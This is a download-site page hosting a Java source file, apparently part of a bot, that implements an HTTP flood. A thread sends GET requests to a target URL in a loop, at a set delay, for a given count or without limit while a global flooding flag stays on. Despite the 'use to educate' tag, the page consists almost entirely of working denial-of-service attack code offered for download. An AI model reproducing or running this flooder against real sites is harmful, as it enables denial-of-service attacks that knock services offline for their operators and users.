⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 httpflood.java

📁 this is a sample of a java bot. use to educate..
💻 JAVA
字号:
import java.net.URL;
import java.net.HttpURLConnection;

class HTTPFlood extends Thread {

	private String url;
	private int delay;
	private int connections;

	private int count = 0;

	public HTTPFlood(String url, int delay, int connections) {
		this.url = url;
		this.delay = delay;
		this.connections = connections;
		this.start();
	}

	public void run() {
		while(FloodingStatus.httpFlooding && (this.count < this.connections || this.connections == 0)) {
			try {
				HttpURLConnection.setFollowRedirects(false);
				HttpURLConnection conn = (HttpURLConnection)(new URL(this.url)).openConnection();
				conn.setRequestMethod("GET");
				conn.getResponseCode();
				conn = null;
				count++;
			} catch(Exception e) {
			} finally {
				try {
					this.sleep(this.delay);
				} catch(InterruptedException ie) {
				}
			}
		}
	}

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -